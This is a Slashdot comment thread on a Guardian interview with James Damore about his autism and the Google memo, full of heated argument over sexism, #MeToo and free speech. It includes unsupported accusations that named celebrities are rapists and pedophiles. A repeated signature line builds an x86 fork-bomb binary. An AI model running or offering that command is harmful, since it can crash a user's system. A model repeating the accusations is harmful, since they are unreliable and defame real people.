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'I See Things Differently': James Damore on his Autism and the Google Memo (theguardian.com)
"James Damore opens up about his regrets -- and how autism may have shaped his experience of the world," writes the west coast bureau chief for the Guardian. An anonymous reader quotes their report:
The experience has prompted some introspection. In the course of several weeks of conversation using Google's instant messaging service, which Damore prefers to face-to-face communication, he opened up about an autism diagnosis that may in part explain the difficulties he experienced with his memo. He believes he has a problem understanding how his words will be interpreted by other people... It wasn't until his mid-20s, after completing research in computational biology at Princeton and MIT, and starting a PhD at Harvard, that Damore was diagnosed with autism, although he was told he had a milder version of the condition known as "high-functioning autism"...
Damore argues that Google's focus on avoiding "micro-aggressions" is "much harder for someone with autism to follow". But he stops short of saying autistic employees should be given more leniency if they unintentionally offend people at work. "I wouldn't necessarily treat someone differently," he explains. "But it definitely helps to understand where they're coming from." I ask Damore if, looking back over the last few months, he feels that his difficult experience with the memo and social media may be related to being on the spectrum. "Yeah, there's definitely been some self-reflection," he says. "Predicting controversies requires predicting what emotional reaction people will have to something. And that's not something that I excel at -- although I'm working on it."
Damore argues that Google's focus on avoiding "micro-aggressions" is "much harder for someone with autism to follow". But he stops short of saying autistic employees should be given more leniency if they unintentionally offend people at work. "I wouldn't necessarily treat someone differently," he explains. "But it definitely helps to understand where they're coming from." I ask Damore if, looking back over the last few months, he feels that his difficult experience with the memo and social media may be related to being on the spectrum. "Yeah, there's definitely been some self-reflection," he says. "Predicting controversies requires predicting what emotional reaction people will have to something. And that's not something that I excel at -- although I'm working on it."
implication that a rational argument should not be offered (and should be regretted once offered)because it would hurt feelings is not acceptable. autistic state of author of argument is irrelevant.
Damore's memo was just misogynist bullshit.
That's a very cheap claim to make without any reasoning. That's probably it's so popular on Twitter and such (mostly because reasoning doesn't fit into 140 characters).
It's certainly not an excuse that deserves instant forgiveness, he'll have to do a fuck of a lot more than that.?
He doesn't need any excuse or forgiveness. It's not like he stole something or killed someone.
Ezekiel 23:20
In the case of the major tech firm I used to work for, it was always quietly dealt with or outright swept under the rug, paying a quiet settlement and forcing the victim into a nondisclosure agreement
And you know that how, if it was a quiet settlement involving a NDA? You. Are. Full. Of. Shit.
He wanted the most attention though. It was a totally voluntary thing he did.
He wanted the most attention, so he posted something in a closed newsgroup? What kind of logic is that?
Posted as A.C. for obvious reasons.
What obvious reasons, BeauHD (1)?
Ezekiel 23:20
Wow saying men and women are different and have different abilities and interests is misogynistic ?
Thankfully this sort of stupidity's days are numbered and the number is a small one.
> If you want to see why there was such a backlash to his memo, I think it can be made clearer in light of the #metoo discussion we are presently having.
I don't see why. The memo didn't deal with rape at work in any kind of way. It had a different subject.
> In the case of the major tech firm I used to work for, it was always quietly dealt with or outright swept under the rug, paying a quiet settlement and forcing the victim into a nondisclosure agreement. The victimizer got a slap on the wrist but was consideres too important to let go.
Good on you for speaking out now, then! Instead of, say, standing up for the victims at the time when it actually happened. Really shows what you're made of.
> That's the backdrop for this memo and why it landed with a wet splat. It is callous to those who have had illegal things done to them against their will at work.
Nope. Because this memo was not about rape at work.
> I don't have much sympathy for DaMoore, he could have made his helpful suggestions directly to HR. He wanted the most attention though.
No; he was taking part in an ongoing internal discussion and posting a _reply_ on an _internal_ forum in Google. He was not the person who broke company confidentiality and posted it on the internet. Incidentally, was this person ever found and punished?
> goatse
And don't forget to mention his KKK-membership, his nazi sympathies, the fact that he eats baby pandas every sunday, and the fact that he is a known child molester. Geez...
I don't share your optimism. A very large number of people is deeply invested in the idea that society can be created as an utopia. They feel actively threatened by statements contradicting that view, and will not stop at anything to destroy the threat.
Damore's memo was not only factual but about as uncontroversial, well-written, and polite as a memo could be. The fact that one of the world's most powerful companies is being managed by emotional infants, that feeling leaders (I won't call them "thought leaders") are pressuring him to recant, and that even on Slashdot there are people attacking him, is pathetic and embarrassing.
If humanity is too emotional to even deal with obvious, mundane, and benign facts, there isn't much to say in favor of humanity.
Maybe the problem isn't with autists, but with the absurdly defective normies.
Nobody gave a flying fuck when Amy Schumer and Lena Dunham openly admitted to being rapists and pedophiles. Nobody cared when Amherst expelled a man who was raped while unconscious because his rapists claimed to have "withdrawn consent".
Your entire argument falls flat on its face when confronted with reality. This isn't about victims or equality, it's a witch hunt where all it takes is a social media post to ruin people's entire lives and career without a shred of evidence. Hell a Welsh Labor MP killed himself because he was suspended on charges he wasn't even allowed to know. We've literally hit the point where people are having their lives ruined and aren't even allowed to know what they're being accused of.
A bullet may have your name on it but splash damage is addressed "To whom it may concern."
I love watching people like you try so desperately to flip the term "snowflake" around that, like every other slur you've invented, you just throw it randomly in sentences as a sort of generic grammatical exclamation point.
Also those two tweets are both perfectly rational and one is supported by so much hard data that it's an entire field of research unto itself in political science. Right up through the end of the Vietnam war, and continuing today in less developed countries, women were and are substantially more conservative socially and politically than men. This is an objective fact. It's a direct result of the fact that those roles evolved over thousands upon thousands of years to ensure human survival during the millenia we went without modern medicine and birth control and an information-age economy.
As for not challenging women just look at what happens to people that do. Literally an entire slur has been invented just to silence people who disagree with women about anything, anytime, anywhere, under any circumstances.
A bullet may have your name on it but splash damage is addressed "To whom it may concern."
Defend the down-modding of my post as flamebait. Explain why it is purely inflammatory and malicious.
Otherwise you have to accept that it's just people who are offended and upset trying to silence anyone who disagrees with them.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
There are three rules of behavior SJWs almost always follow. They always lie, they always project, and they always double down. Right now you're doing the second one.
He literally made a throwaway tweet about the fact that "Grand Wizard" is a cool name. It's no different than us Jews lamenting that at least the Nazis were snazzy dressers, although they ruined trench coats for the rest of us. And you are now trying to turn that into him literally helping the Ku Klux Klan.
That's beyond idiocy and into dangerous paranoid fanaticism.
A bullet may have your name on it but splash damage is addressed "To whom it may concern."
... that the people who are loudest in claiming to be highly empathetic never make the slightest effort to empathize with those who are not naturally empathetic. Isn't that odd?
And if we are so enthusiastic for inclusiveness and diversity and not offending anyone, how come there is no tolerance of those who identify as autistic or near-autistic?
I am sure that there are many other solipsists out there.
Funny you should say that. Consider the possibility that there are, in fact, a lot of people - including some of the most useful members of society - who are hardly ever noticed and rarely get credit for anything, because they are naturally quiet and shy.
Meanwhile, the small minority of loud, self-advertising extroverts get away with persuading everyone that they are the only people who count. Everything in modern Western (especially US) culture glorifies the extrovert. Yet it seems likely that at least half of the population consists of those who are, to some degree at least, introverted.
I am sure that there are many other solipsists out there.
His memo was fine. There was only controversy because it was misrepresented completely. Plenty of non-autistic people get hit by this type of witch hunt and they also tend to have difficulty seeing it coming.
It's entirely inflammatory and malicious because you're trying to paint him as an asshole. If we remove the "feelings" factor from the KKK portion, many geeks / nerds will find titles like "grand wizard" pretty cool. It's not hard to see that point. You're being the snowflake by over reacting to it and spinning a narrative to paint the guy in a negative light. Your post was modded correctly. Perhaps understanding nuance in a persons statements rather than kowtowing to a PC narrative would suit you better long term.
Calling something "flamebait" doesn't mean it's offensive. Calling it flamebait means you think it's something that's done with malicious intent. Here you go again, trying to insert feelings into an argument.
Flamebait means it is designed to provoke an emotional response, specifically offense and anger.
Yes, that sounds like someone might have some malicious intent in their actions through and through.
Calling something flamebait is literally saying it offends you.
That's not necessarily true. You can see things as a malicious act and not be offended by it. You don't need to deal in absolutes here.
The correct response is to post a rebuttal. A rebuttal to the actual argument, not an accusation of malice.
You aren't the thought police. You don't get to decide what is and isn't the correct response. It's frowned upon to moderate and comment (anonymously). It's always been that way. This is why you can't comment and post under your username in the same discussions. If you do, it undoes any moderation that you did. You get to choose one option. Some people chose to moderate the content of your posts. Deal with it.
Isn't that what happened to Damore? He made a bunch of arguments, the left claimed they were 'offensive'. And by 'offensive' they mean 'we can't come up with a coherent counter argument, we must stop him speaking'.
It's weaponized offense really. Back in the old days of course this sort of thing was the tactic used by religious fundamentalist types and was denounced by people like Stephen Fry and Christopher Hitchens.
https://www.goodreads.com/quot...
"It's now very common to hear people say, 'I'm rather offended by that.' As if that gives them certain rights. It's actually nothing more... than a whine. 'I find that offensive.' It has no meaning; it has no purpose; it has no reason to be respected as a phrase. 'I am offended by that.' Well, so fucking what."
Now it seems like the social justice left think that 'What you said is offensive' means 'You must be silenced/fired/beaten up'. In fact they've invented a whole new term - speech they don't like isn't just offensive, it's 'oppressive' to the oppressed groups they claim to speak for.
Normally they'll say something like 'silencing this sort of speech doesn't violate the First Amendment because it's not the government doing it'. Which is true in a narrow, legalistic American sense, but completely irrelevant. It's perfectly possible for freedom of speech to be violated by non governmental entities - e.g. the KKK was not a governmental organisation and was able to shut down speech they didn't like. Right now AntiFa is non governmental and does the same thing. Mobs can be incited online to get people fired or banned. All of these things violate free speech but probably not the First Amendment.
Of course a lot of people on the US have argued for Europe style hate speech laws as well, which would violate the First Amendment. E.g.
https://www.huffingtonpost.com...
Countries throughout Europe have seen the danger in certain hate speech and have created laws that punish racist incitement without compromising their democratic values on free speech. These laws protect Jewish and other minority residents and show that societies clearly value their safety and security in their countries. These laws have not prevented all acts of racism and violence from occurring, as the Charlie Hebdo attacks in France remind us, but they send the right message to vulnerable minorities and galvanize public and police support to prevent future atrocities.
If the Oklahoma chant happened in, say, Germany and the n-word was replaced with a derogatory epithet for the Jewish people, and the method of murder was changed from lynching to something employed by the Nazis, the perpetrators would be in jail right now and few outside the extremist right would argue that an injustice was done. How can so many in American society condone this incitement as youthful indiscretion and even redirect blame away from the perpetrators to the people who have had to suffer the oppression inflicted by those who spew these vile words?
America can learn something from the international community, where the legacy and dangers of certain types of speech are better understood. We too must find an effective way to monitor and forbid dangerous speech, without unjustly infringing upon freedom of speech. We should have started the discussion long ago.
Now you know why it's irritating when people try to silence your arguments rather than trying to address them. Congratulations. You know why people despise the left.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I don't think I agree with AmiMojo about Damore's motives, but nonetheless you might want to read that, and step away from the keyboard for a moment: you claim some (from what I can see) are pretty objective statements about Damore are "malicious" - presumably because they don't paint him in a good light, and then claim AmiMojo is the one "inserting feelings into an argument."
I do agree with AmiMojo about the moderation: an apparently easily offended moderator, and many responding them, have decided that because the facts make Damore look bad, that it must be a sign of malice to be even mentioning them.
The problem here is that it isn't. Damore's words had (and have) real life consequences. Despite the claim he was totally non-sexist when writing it, that isn't actually true when analyzing the arguments he used. Damore worded his essay in a way designed to make it look pro-diversity while cherry picking and exaggerating facts to cause an opposite impact.
Some have suggested Damore's honesty and intentions should be questioned because of that. That's a reasonable thing to do.
But... I'm not sure they're right. I think it's more a cause of an expert in one field (computing) thinking that makes him an expert in others and failing spectacularly trying to prove the real experts wrong.
I say that because I'm a nerd too, and while I was never stupid enough to start claiming minor biological differences explain women's poor advancement in careers they should have no problem with, I certainly have been stupid in the past latching onto "contrarian arguments" about everything from the Civil War to economics.
You see this on Slashdot all the time. How many people here disagree with the 97% or so of climate scientists on Climate Change, for example? It certainly is more than 3%. Are these people experts in climate change? Do they have all the figures available to them? Do they have insights that Michael Mann et al don't?
No? No, what they are are really good developers. Their friends consider them geniuses, because they can do things with computers that other people can only dream of. And they keep getting told that all the time, that they're geniuses.
And so, when they wade into another field of study, one they know little about, it's a trainwreck.
Damore didn't lose his job and become unpopular because he's autistic. And he probably didn't because he's the next Harvey Weinstein or Roger Ailes. No, I suspect he lost them because he's a typical computer nerd going through a contrarian phase.
That should be a learning experience for most, but nobody here wants to hear it, because the experts being wrong is a sexier story.
You are not alone. This is not normal. None of this is normal.
The memo dealt with males and females having different needs and strengths and in order to get a more balanced workforce, the work and workplace would have to adapt to that.
I don't remember there being ANYTHING about sexual attention forced on another.
Their logic, and it's stretching the definition of the word, is along these lines:
Normal person: Men are generally taller than women.
SJW: What, like Danny DeVito and Michelle Obama?
Then something gets designed that's unusable because anthropometry is fundamentally racist, because it just is.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Google revealed themselves as evil the moment they publicly replied to the memo. The only non-evil move from the start was not to acknowledge it in the first place, and then if they wanted to be secretly evil, fire him down the road for whatever reason. Instead Google could not stop themselves from showing they were ideologically motivated, just as this memo accuses them of.
I've been using duckduckgo.com for search, and it's fine. It's not 2001 any more, the horrid results of Yahoo and the others aren't relevant any more. God help me I've even used Bing a couple of times. And hey, if it is that rare occasion you can't find something, go ahead and use Google just that once. But please stop using them on a daily basis because they're evil.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
You're judging someone by completely ignoring what that person has straightforwardly written, and basing your conclusions entirely on what is implied, or more accurately what you cynically infer.
I think you'd have to provide some proof that you are indeed a psychic mind-reader.
your thin skin doesn't make me a troll
Its so easy to spout the usual "no it wasn't" line when your position is criticised, slightly less easy to google for an answer. So I did it for you.
https://thoughtcatalog.com/ano...
One day Matt calls her at 8 am, inviting Amy over to his dorm room. When Amy goes to his dorm room, she immediately recognizes that he is drunk:
I won't give you all the details, but it is important to note that Matt was repeatedly falling asleep during the encounter, according to Amy's story. It gives an indication as to how impaired Matt was, and how Amy let it continue despite the interruptions.
Now is that rape? If not, then all those other cases of men having intercourse with women who were drunk can't be considered rape either.
Lena Dunham though, I can't find any case there except for her defence of a Girls' Writer who was accused.
Right. But people didn't say "Oh you ignored this study, here's a link". They just tried to silence him by getting him fired. Gizmodo accused him of writing an 'anti diversity screed', and reproduced it without any of the charts and hyperlinks
https://gizmodo.com/exclusive-...
Vox called it a 'sexist screed' and said it reflected a 'divided tech culture' and said it ignored 'well documented gender biases'
https://www.vox.com/identities...
Vox didn't try to address his arguments, they all said he was
The memo's stereotype-based arguments and cries for less empathy sparked immediate controversy
In Damore's memo, he states that women are more "neurotic" and have a lower "stress tolerance" than men, and that these characteristics - not systemic harassment, routinely being passed over for promotions, or other well-documented instances of sexism in tech culture - are the reason why women do not succeed as often as men do in the high-pressure industry.
He also argues that men have a "higher drive for status" than women, and suggests that this factor, rather than well-documented gender biases in the workplace, may be responsible for the lack of women in leadership positions both at Google and in the tech industry as a whole.
Finally, Damore calls for Google to "De-empathize empathy," arguing that "being emotionally unengaged [with the issue of diversity] helps us better reason about the facts." He decries political correctness, discounting the very concept of unconscious bias and arguing against unconscious bias training for Google employees.
Google's VP of diversity said it 'it advanced incorrect assumptions about gender. and also refused to link to it because "itâ(TM)s not a viewpoint that I or this company endorses, promotes or encourages". I.e. no one addressed his arguments - they caricatured them and effectively labelled him a heretic to the diverse faith.
And you haven't addressed his arguments. You put rational is scare quotes, implying he's actually motivated by sexism.
And I think we can all agree that as traumatic as being downvoted on slashdot is, it's not as bad as being fired. Also look at the the difference in institutional power between the two sides of the argument. The CEO and VP on one side and some hapless engineer on the other. As soon as the engineer disagreed with them, they fired him. Which was a sign to other engineers not to argue with their ideas.
Not to mention most of the media immediately sided with Google and denounced him.
In the old days the left would say that racism/sexism was 'prejudice plus power'. I.e. that white men could be sexist and racist because they held institutional power, but non whites and non men could not be because they did not. The problem with that is that the left holds institutional power these days, at least in the media and at Google. So in that case Damore could at worse be prejudiced, not actually sexist.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
people break NDAs privately to their friends all the fucking time.
Sounds like a character issue. I wouldn't trust a person who violates an NDA.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
Scientist, biologist, realist...
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
> If you want to see why there was such a backlash to his memo, I think it can be made clearer in light of the #metoo discussion we are presently having.
I don't see why. The memo didn't deal with rape at work in any kind of way. It had a different subject.
It's the narrative. His opinion doesn't fit the narrative.
Trying to make Damore's memo the equivalent of meetoo or whatever indignity women have ever suffered is an example of howaboutism, which is usually aimed at conservatives, but it turns out that liberals are just as prone to it. A memo or email pointing out possible differences between the sexes does not fit the narrative that there is no difference at all between males and females except that instilled culturally by the patriarchy."
This memo != Harvey Weinstein's disgusting behavior. This memo != Roy Moore's penchant for underage girls.
What this memo and equating it to meetoo is - Howaboutism, and a great example of it.
If Damore was insinuating himself in a sexual manner on female employees, there aren't many of us who would stand up for him. But that isn't what he did. He wrote forbidden words. Some people didn't like those forbidden words. They don't fit the narrative. Conform or be cast out.
To broad brush this memo into Damore is a sexual predator because Harvey Weinstein or Roy Moore is bigotry, stereotyping men as all sexual predators. It may or may not be legal bigotry, but it is bigotry nonetheless.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
"Coming forward" years after the fact may constitute a case in the alternative legal system that SJWs are building for themselves, but the real world legal system is perfectly capable of prosecuting molesters if you tell your family about molestation by your teacher, minister, or counselor at the time it happens. If you are an adult, you can call the cops themselves when a rape kit will identify the perpetrator according to the real rules of evidence that have been ironed out by years of experience and judicial review.
He wrote forbidden words. Some people didn't like those forbidden words.
He who dares not offend cannot be honest.
-Thomas Paine
“When you tear out a man's tongue, you are not proving him a liar, you're only telling the world that you fear what he might say.”
George R.R. Martin
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
I actually suspect that James Damore was not really fired as a result of his memo itself but rather as a result of a behavioral-threat model.
Jesus Hussein Christ!
No, it was not some secret reason. He was fired because his memo tried to rationalize current inequality as being biological instead of social. The direct, and obvious implication - obvious even to an aspie like myself - is that he considers most women and racial minorities at google to be unqualified for their jobs because google had to lower the bar in order to make them hire-able. Nobody wants to work with someone who thinks they are unqualified. So, they fired him because he made himself the problem.
people break NDAs privately to their friends all the fucking time.
Sounds like a character issue. I wouldn't trust a person who violates an NDA.
True that. The leakers who intentionally got him fired for an internal memo need to be outed and canned.
Problem is, they have a permitted opinion that fits well within the allowable narrative. When you have a permitted opinion, you are allowed to commit any atrocity, and you will be praised for it. The people who published his unpermitted opinion are praised as heroes.
This is not a right or a left issue, it is an issue that speaks to bigoted intolerance, where one is cast out if one does not adhere to dogma.
All it would have taken is a reasoned argument against him in a rational world. Firing him in an attempt to merely silence him has merely shown that he has said things that they do not want heard.
This is not classified data, this is not encouraging violence, or a call to secede, or commit crimes.
Just some words that appear to be heresy, given the reaction.
It certainly tells you what opinions you are allowed to express.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
Way to miss-characterize Damore's memo. Damore's memo wasn't about one's ability to do the work, but that the gender differences means people are more or less inclined towards doing certain tasks. He even suggested ways Google could better reach their lofty goals of gender parity by taking advantage of that.
...given we're arguing on a thread about something Mr. Damore said, it's not like he's been silenced now is it?
He has been fired for saying something. Other people who may be sharing his concerns will take note, and think twice before raising them. This is effectively shutting up the discussion.
As an aside, the way Google fired Damore for raising concerns in an internal forum specifically presented as a place to raise concerns reminds me irresistibly of this little gem:
"I want someone to tell me", Lieutenant Scheisskopf beseeched to them all prayerfully. "If any of it is my fault, I want to be told."
"He wants someone to tell him," Clevinger said.
"He wants everyone to keep still, idiot," Yossarian answered.
"Didn't you hear him?" Clevinger argued.
"I heard him," Yossarian replied."I heard him say very loudly and very distinctly that he wants every one of us to keep our mouths shut if we know what's good for us."
"I won't punish you", Lieutenant Scheisskopf swore.
"He says he won't punish me", said Clevinger.
"He'll castrate you," said Yosarrian.
"I swear I won't punish you," said Lieutenant Scheisskopf."I'll be grateful to the man who tells me the truth."
"He'll hate you", said Yossarian."To his dying day he'll hate you."